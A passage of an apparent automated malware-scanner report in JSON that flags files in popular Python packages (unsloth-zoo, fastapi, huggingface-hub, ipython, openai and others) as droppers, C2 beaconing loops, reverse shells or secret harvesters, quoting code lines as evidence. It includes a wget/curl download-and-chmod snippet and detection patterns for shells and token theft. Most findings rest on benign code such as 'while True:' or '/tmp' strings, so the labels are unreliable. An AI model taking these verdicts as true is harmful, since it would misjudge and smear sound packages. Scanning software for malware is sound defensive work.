sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612: if eval(_dtype) is not None: | L613: dtype = eval(_dtype) | L955: _modeling_file = eval(model_location) | L1255: f = eval(f\"{model_location}.{module}\") | L1563: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699: exec(f\"import {parent}\", locals(), globals()) | L2830: dir(eval(parent)), | L2834: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908: module = eval(f\"modeling_file.{module}\") | L2935: inner_class = eval(f\"modeling_file.{inner_class}\") | L3065: exec(f\"from timm.layers.norm_act import {norm}\") | L3073: forward = eval(norm).forward | L3079: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104: forward = eval(block).forward | L3110: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3389: exec(f\"import {model_location}\", globals()) | L3392: modeling_file = eval(model_location) | L3405: exec(\nL3406: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3407: ) | L3409: exec(\nL3410: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3411: globals(),\nL3412: locals(),\nL3413: ) | L3564: source = eval(f\"modeling_file.{module}\") | L3578: source = eval(f\"modeling_file.{module}\") | L3679: source = eval(f\"modeling_file.{module}\") | L3717: source = eval(f\"{model_location}.{module}\") | L3788: source = eval(f\"{model_location}.{module}\") | L3836: source = eval(f\"{model_location}.{module}\") | L4058: source = eval(f\"{model_location}.{module}\") | L4069: exec(\nL4070: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4071: globals(),\nL4072: ) | L4135: source = eval(f\"{model_location}.{module}\") | L4176: module_cls = eval(f\"{model_location}.{module}\") | L4213: module_cls = eval(f\"{model_location}.{module}\") | L4280: exec(\nL4281: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4282: globals(),\nL4283: ) | L4345: exec(inner_training_loop, globals()) | L4353: function = eval(f\"{model_location}.{module}\") | L4431: function = eval(f\"{model_location}.{module}\") | L4566: source = eval(f\"{model_location}.torch\") | L4573: function = eval(f\"source.nn.{module}\") | L4632: exec(\nL4633: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4634: globals(),\nL4635: locals(),\nL4636: ) | L4638: exec(\nL4639: f\"{model_location}.nn.{module}.forward = forward\",\nL4640: globals(),\nL4641: locals(),\nL4642: ) | L4646: exec(\nL4647: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4648: globals(),\nL4649: locals(),\nL4650: ) | L4652: exec(\nL4653: f\"combined_module.nn.{module}.forward = forward\",\nL4654: globals(),\nL4655: locals(),\nL4656: ) | L4673: exec(\nL4674: f\"{model_location}.{module} = combined_module.{module}\",\nL4675: globals(),\nL4676: locals(),\nL4677: ) | L4687: check_dicts = dir(eval(f\"{model_location}\")) | L4689: item = eval(f\"{model_location}.{check}\") | L4699: exec(\nL4700: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4701: globals(),\nL4702: locals(),\nL4703: )",
"evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/fused_losses/forward_install.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)",
"evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/mlx/loader.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L2869: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L148: mx.eval(model.parameters()) | L180: mx.eval(model.parameters()) | L732: mx.eval(model.parameters()) | L733: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L799: mx.eval(model.parameters()) | L802: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2673: model.eval() | L3256: mx.eval(model.parameters()) | L3372: mx.eval(module.weight) | L5666: mx.eval(model.parameters()) | L5716: mx.eval(model.parameters()) | L5859: mx.eval(model.parameters())",
"evidence_hash": "7b44760032c5df6d379ccfdd0bff3d23f857f64e08210fa0fba8d2881d457634"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/patching_utils.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L706: compile(new_source, '<temp_patched>', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571: exec(source, globals()) | L596: exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597: exec(source, globals()) | L686: exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749: exec(source, globals())",
"evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/saving_utils.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L4015: module = __import__('transformers', fromlist=[model_class_name])\nExec: L3897: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3943: exec(save_pretrained, globals(), functions)",
"evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec"
},
{
"package": "werkzeug",
"file": "werkzeug/routing/rules.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L836: code = compile(module, \"<werkzeug routing>\", \"exec\")\nExec: L736: exec(code, globs, locs)",
"evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d"
},
{
"package": "unsloth-zoo",
"file": "tests/test_mlx_save_export_regressions.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L165: temporary_location=\"/tmp/ignored\", sha256:ab5c587f9ec31a0cc10ee55698ab133a417148d9d3f371bbc81b1e13fa119c13",
"evidence_hash": "93a11159147aad94f353ec4d2e0b8486b256abef88cd96d741813222cd32b138"
},
{
"package": "unsloth-zoo",
"file": "tests/test_vision_collator_audio.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L111: out = extract_audio_info(msgs({\"type\": \"audio\", key: \"/tmp/a.wav\"})) sha256:2efe23ffbe2b91b8403aec9b700736919b59e5ca770f8e1f5501651b44b7d398",
"evidence_hash": "d416b79dd17b24214f3f7653ac01354507d7bf0fc464dee30a4a4b8998f063ba"
},
{
"package": "unsloth-zoo",
"file": "tests/test_gemma4_forced_float32_ple_dtype.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L277: compile(rewritten + _GEMMA4_PLE_CAST_HELPER, \"<gemma4-ple-generated>\", \"exec\") | L440: compile(on, \"<gemma4-ple-append>\", \"exec\") | L468: compile(generated, \"<gemma4-ple-crosspath>\", \"exec\")\nExec: L19: exec(_GEMMA4_PLE_CAST_HELPER, namespace)",
"evidence_hash": "a85e24d8e7c431563cbd83b70f91a3b971abde0f37083d68e70984147960cc70"
},
{
"package": "unsloth-zoo",
"file": "tests/test_vision_collator_audio.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L111: out = extract_audio_info(msgs({\"type\": \"audio\", key: \"/tmp/a.wav\"})) sha256:022f81dd21acfc6a35a058de96132834c218404a9e37b3d09a7768a8c8f6c728",
"evidence_hash": "2d1e75446af120d9133a42aa8af426a839d3434d9dc109cc1d6c1b22ca1ddb75"
},
{
"package": "fastapi",
"file": "fastapi/routing.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L594: while True: sha256:ad3361ce18383161849f910370bdeccebfc6191e3ecdf28e2711ff66e37cd977",
"evidence_hash": "d30c02e72381458de1b79bd23652b5ae9928a93e6626592cf33002fd0339f224"
},
{
"package": "huggingface-hub",
"file": "huggingface_hub/_sandbox.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L84: d=/tmp/.sbx-server\nL85: if command -v wget >/dev/null 2>&1; then wget -q -O \"$d\" \"$SBX_SERVER_URL\"\nL86: elif command -v curl >/dev/null 2>&1; then curl -fsSL -o \"$d\" \"$SBX_SERVER_URL\"\nL87: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL88: chmod +x \"$d\"",
"evidence_hash": "4e8ce7444ac0d4a788dcaf389ae8e26dd0221a226938d764810181a593d53d36"
},
{
"package": "huggingface-hub",
"file": "huggingface_hub/hf_api.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L4811: while True: sha256:278dc3fe19e4aec12ef4dc9cf040320e9c1665e79762cf82d58941ac82af251a",
"evidence_hash": "700650886c3879597857b61c13e7bfecec9bf54b28d869d4694608eab01d1e58"
},
{
"package": "ipython",
"file": "IPython/core/interactiveshell.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L2998: exec(compiler(f.read(), fname, \"exec\"), glob, loc)",
"evidence_hash": "99dbd9b2cf5ede37fe3123e0789439bd3f82648a5443482e451ec04105be3c12"
},
{
"package": "ipython",
"file": "IPython/core/interactiveshell.py",
"check": "Enumerates filesystem AND makes network calls",
"severity": "CRITICAL",
"evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:d8df7b3aead9d1fc528b62f68a017797cc6ce9184746338eba1586eab9d52174\nNetwork: L4075: from urllib.request import urlopen | L4076: response = urlopen(target)",
"evidence_hash": "11831b523706de852722b6d342d38e1f5367dd1ad6e6c4d44fccf638eaec7361"
},
{
"package": "openai",
"file": "openai/_base_client.py",
"check": "C2 polling/beaconing loop detected",
"severity": "CRITICAL",
"evidence": "L276: while True: sha256:79ff4e83ede832fc90b106033123e68a957560f55288a5c654788ff4af9b48d1",
"evidence_hash": "a279dacdb18186c44bdb93c99347dc42c15adbabd6a609a6485bb745965f5007"
},
{
"package": "traitlets",
"file": "traitlets/config/loader.py",
"check": "Downloads and executes remote code",
"severity": "CRITICAL",
"evidence": "L646: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)",
"evidence_hash": "98aa843deb66e5ee86c917c79f054bc0cefcbaa4e81702d75a873629580b7b28"
},
{
"package": "unsloth-zoo",
"file": "tests/test_mlx_save_export_regressions.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L246: temporary_location=\"/tmp/ignored\", sha256:8490a5315ad79cd319e5c5557b844fb7fd1ec8cfcc9f66bf195fca14fc8c2534",
"evidence_hash": "70468ab21abc3c38adc1a920e04e5b06a8fa2161aebef59b938f2778715a2d6a"
},
{
"package": "unsloth-zoo",
"file": "tests/test_compiler_decorated_forward.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L146: compile(generated, \"<fake-bare-closure-codegen>\", \"exec\") | L206: compile(generated, \"<fake-bare-closure-plain>\", \"exec\")\nExec: L181: exec(generated, namespace)",
"evidence_hash": "c490dc739ffb2358a0693c338e90c324d17fc0906c99ac8894c97411e984eca8"
},
{
"package": "unsloth-zoo",
"file": "tests/test_mlx_trainer_internals.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L2355: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L2333: def eval(self): | L3164: deepstack_visual_embeds = mx.eval([]) | L3294: return grid_thw, mask, mx.eval([]) | L5704: def eval(self):",
"evidence_hash": "d42950e5c98a4578d6dc588ab2cfcdde97934e1d55f8db9bb5babaa95c1a693a"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/mlx/loader.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L4096: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L155: mx.eval(model.parameters()) | L187: mx.eval(model.parameters()) | L975: mx.eval(model.parameters()) | L976: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1042: mx.eval(model.parameters()) | L1045: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L3744: model.eval() | L4483: mx.eval(model.parameters()) | L4598: mx.eval(module.weight) | L7241: lambda: mx.eval(model.parameters()), | L7301: lambda: mx.eval(model.parameters()), | L7463: mx.eval(model.parameters())",
"evidence_hash": "99be0b8b885c428ef382cdf98fe5cc7691a3fe65fdf2ff2d1ebfb3a152711dc0"
},
{
"package": "torchao",
"file": "torchao/prototype/gptq/gptq_example.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L257: help=\"Prefix for the output directory (e.g. /home/user/tmp/20260420)\", sha256:cc135b7062e314555a72098d50c6bbf221fe2993cc195b91de2256cb4ba59f9d",
"evidence_hash": "1c6a8785e5b4d45928f0d8e0c8c4830827cfc772454dfb8074793e8faa441552"
},
{
"package": "unsloth-zoo",
"file": "tests/test_hf_xet_fallback.py",
"check": "Writes to /tmp and executes (staged dropper)",
"severity": "CRITICAL",
"evidence": "L2083: monkeypatch.setattr(xf, \"_run_download_attempt\", lambda *a, **k: (\"ok\", \"/tmp/warm\")) sha256:26b4d56964a6943851ad6d051f2833aa9bfee07e9d16e653cd1ee671412c326b",
"evidence_hash": "ab5ed5653a9f71d30233ab891edefb1a5e39b3d083a9019a23f3b82a32e02bad"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/hf_xet_health.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L317: token = os.environ.get(\"HF_TOKEN\")\nNetwork: L313: import urllib.request | L316: request = urllib.request.Request(url, headers = {\"User-Agent\": \"unsloth-xet-probe\"}) | L329: with urllib.request.urlopen(request, timeout = PROBE_TIMEOUT_SECONDS) as response: | L342: head = urllib.request.Request(cas, method = \"HEAD\", headers = {\"User-Agent\": \"unsloth-xet-probe\"}) | L344: urllib.request.urlopen(head, timeout = remaining)",
"evidence_hash": "674a558cd1bdfa1470dc2a9a2cd44be98ecc27c0beb37497757c656674e71654",
"file_sha256": "e0b53dbc7749ab7528211ccc87e56a56093b488c5e6efc1445c84c06ff5243db"
},
{
"package": "unsloth-zoo",
"file": "tests/test_mlx_vlm_label_masks.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L3267: self._lock = __import__(\"threading\").Lock()\nExec: L1479: mx.eval(batch[\"input_ids\"], batch[\"labels\"])",
"evidence_hash": "02e040f3f25ec6bfebb609f2ba68ea037cb0386b6ab74d6fcaba1a78ad5bb3b1"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/compiler.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L1206: _mod = __import__(model_location, fromlist=items) | L4946: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4947: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4948: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4949: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4947: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4948: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4949: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4946: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4947: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4948: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L802: if eval(_dtype) is not None: | L803: dtype = eval(_dtype) | L1145: _modeling_file = eval(model_location) | L1585: f = eval(f\"{model_location}.{module}\") | L1914: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1915: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L3050: exec(f\"import {parent}\", locals(), globals()) | L3181: dir(eval(parent)), | L3185: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L3259: module = eval(f\"modeling_file.{module}\") | L3286: inner_class = eval(f\"modeling_file.{inner_class}\") | L3416: exec(f\"from timm.layers.norm_act import {norm}\") | L3424: forward = eval(norm).forward | L3430: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3447: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3455: forward = eval(block).forward | L3461: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3695: exec(\nL3696: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL3697: globals(),\nL3698: locals(),\nL3699: ) | L3701: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L3705: exec(\nL3706: f\"combined_module.torch.nn.{module}.forward = forward\",\nL3707: globals(),\nL3708: locals(),\nL3709: ) | L3711: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L3788: source = eval(f\"{model_location}.torch\") | L3795: function = eval(f\"source.nn.{module}\") | L3950: exec(f\"import {model_location}\", globals()) | L3953: modeling_file = eval(model_location) | L3966: exec(\nL3967: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3968: ) | L3970: exec(\nL3971: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3972: globals(),\nL3973: locals(),\nL3974: ) | L4206: source = eval(f\"modeling_file.{module}\") | L4220: source = eval(f\"modeling_file.{module}\") | L4321: source = eval(f\"modeling_file.{module}\") | L4359: source = eval(f\"{model_location}.{module}\") | L4439: source = eval(f\"{model_location}.{module}\") | L4487: source = eval(f\"{model_location}.{module}\") | L4709: source = eval(f\"{model_location}.{module}\") | L4720: exec(\nL4721: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4722: globals(),\nL4723: ) | L4786: source = eval(f\"{model_location}.{module}\") | L4827: module_cls = eval(f\"{model_location}.{module}\") | L4864: module_cls = eval(f\"{model_location}.{module}\") | L4931: exec(\nL4932: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4933: globals(),\nL4934: ) | L4996: exec(inner_training_loop, globals()) | L5004: function = eval(f\"{model_location}.{module}\") | L5082: function = eval(f\"{model_location}.{module}\") | L5220: exec(\nL5221: f\"{model_location}.{module} = combined_module.{module}\",\nL5222: globals(),\nL5223: locals(),\nL5224: ) | L5234: check_dicts = dir(eval(f\"{model_location}\")) | L5236: item = eval(f\"{model_location}.{check}\") | L5246: exec(\nL5247: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL5248: globals(),\nL5249: locals(),\nL5250: )",
"evidence_hash": "d8dabff7099fd84e1276c932c7bb70ba273333e5708eb149fec6a6130856085d"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/mlx/loader.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L4290: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L155: mx.eval(model.parameters()) | L187: mx.eval(model.parameters()) | L975: mx.eval(model.parameters()) | L976: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1042: mx.eval(model.parameters()) | L1045: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2382: mx.eval(altup.correct(predictions, activated)) | L3938: model.eval() | L4677: mx.eval(model.parameters()) | L4792: mx.eval(module.weight) | L7437: lambda: mx.eval(model.parameters()), | L7497: lambda: mx.eval(model.parameters()), | L7650: mx.eval(model.parameters())",
"evidence_hash": "511d74ad8e4d5a219b0485b23f295fb1b27ba49b734cbb664225f20a996f426d"
},
{
"package": "caio",
"file": "tests/test_raw_low_level.py",
"check": "Reverse shell / bind shell pattern",
"severity": "CRITICAL",
"evidence": "L747: os.dup2(good_fd, closed_fd)",
"evidence_hash": "7eb34f0b046a377f38f3d1a66daadce492c43cda85b7967f66c7ad62f0ca4169"
}
]
}